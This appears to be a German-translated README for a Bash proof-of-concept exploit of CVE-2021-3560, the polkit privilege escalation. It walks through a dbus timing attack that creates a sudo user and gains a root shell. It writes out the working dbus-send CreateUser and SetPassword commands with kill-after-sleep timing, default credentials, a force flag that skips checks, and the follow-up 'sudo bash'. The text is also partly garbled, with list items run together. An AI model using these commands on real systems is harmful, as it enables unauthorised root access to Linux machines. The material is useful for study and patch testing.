
Automatisierter Bash-PoC für CVE-2021-3560 polkit-Privilegieneskalation. Nutzt einen dbus-Timing-Angriff aus, um einen sudo-Benutzer zu injizieren und auf verwundbaren Linux-Distributionen eine Root-Shell zu erlangen.
Dies ist nur ein Bash-PoC-Skript, das die in Kevin Backhouses Blog erwähnten Exploit-Schritte automatisiert. Lies seinen Beitrag zu dieser Schwachstelle: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
USAGE:
./poc.sh
-h --help
-u=Enter custom username to insert (OPTIONAL)
-p=Enter custom password to insert (OPTIONAL)
-f=y, To skip vulnerability check and force exploitation. (OPTIONAL)
-t=Enter custom sleep time, instead of automatic detection (OPTIONAL)
Format to enter time: '-t=.004' or '-t=0.004' if you want to set sleep time as 0.004ms
Note:
Equal to symbol (=) after specifying an option is mandatory.
If you donot specify the options, then the script will automatically detect the possible time and
will try to insert a new user using that time.
Default credentials are 'secnigma:secnigmaftw'
If the exploit ran successfully, then you can login using 'su - secnigma'
and you can spawn a bash shell as root using 'sudo bash'
accountsservice und gnome-control-center installiert sind, und es muss polkit Version 0.113 (oder neuer) ODER 0-105-26 (Debian-Fork von polkit) vorhanden sein.Ubuntu 20.04 mit polkit Version 0-105-26 (Debian-Fork von polkit) und auf Centos 8 mit polkit Version 0.115 getestet. Wenn du sicher bist, dass dein Ziel verwundbar ist, aber die Prüffunktion des Exploits fehlschlägt, verwende das Flag -f=y, um alle Prüfungen zu überspringen und den Exploit zu erzwingen.su - <username> und dem an das Skript übergebenen Passwort am Konto anmelden und dann sudo bash eingeben, um in eine Root-Shell zu gelangen!Esc-Taste, um die Authentifizierungsaufforderung zu schließen, und Ctrl+C, um das Skript schnell zu beenden.Eine umfassende Erklärung und ein PoC zur manuellen Ausnutzung dieser Schwachstelle sind im Blog des Forschers im Detail beschrieben.
Die TL;DR-Zusammenfassung dieses Exploits ist unten aufgeführt:
polkit durch das Senden einer dbus-Nachricht auslöst, die Anfrage jedoch abrupt schließt, während polkit die Anfrage verarbeitet. Anschließend kann der Angreifer eine zweite Anfrage mit der eindeutigen Buskennung der vorherigen Anfrage senden, um die Anfrage als UID 0, auch bekannt als root, auszuführen.polkit, weil es die UID einer Verbindung mit einer Buskennung, die nicht mehr existiert, als eine Anfrage von UID 0 behandelt. Das bedeutet: Wenn wir den Angriff richtig timen und unsere erste Anfrage im richtigen Moment beenden, können wir die zweite Anfrage mit den Privilegien von UID 0, auch bekannt als root, stellen.Wie ich bereits sagte, ist dies nur ein Bash-Skript, das Kevin Backhouses PoC automatisiert. Die Kernbefehle sind dieselben; ich habe nur einige anfängliche Schritte automatisiert (wie das richtige Timing, das Scannen auf Schwachstellen, das Einfügen benutzerdefinierter Anmeldedaten, das Anzeigen hübscher Farben usw.).
Wenn dieses Skript ohne Parameter ausgeführt wird, ist das Standardverhalten wie folgt:
/etc/os-release.]accountservice und gnome-control-center installiert sind. [In rhel/centos/fedora wird rpm -qa verwendet, in debian/ubuntu-Distributionen dpkg -l].rhel.centos,fedora und 0-105-26 für Debian/Ubuntu]bash time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 2>&1 >/dev/null ausführt$t) berechnet, indem die für die Anfrage benötigte Zeit durch 2 geteilt wird. ($t=benötigte-Zeit-für-die-Anfrage/2) [Berechnet mit awk]$t) berechnet wurde, wird die Anfrage zum Einfügen von $username secnigma auf dem Ziel 20 Mal wiederholt. bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 & sleep `echo $t`s ; kill $! id secnigma], wird ein Passwort-Hash generiert [mit bash openssl passwd -5 `echo -n $password` ]. ($password=secnigmaftw)bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User`echo $u_id` org.freedesktop.Accounts.User.SetPassword string:`echo -n $hash1` string:GoldenEye & sleep `echo $ti`s ; kill $!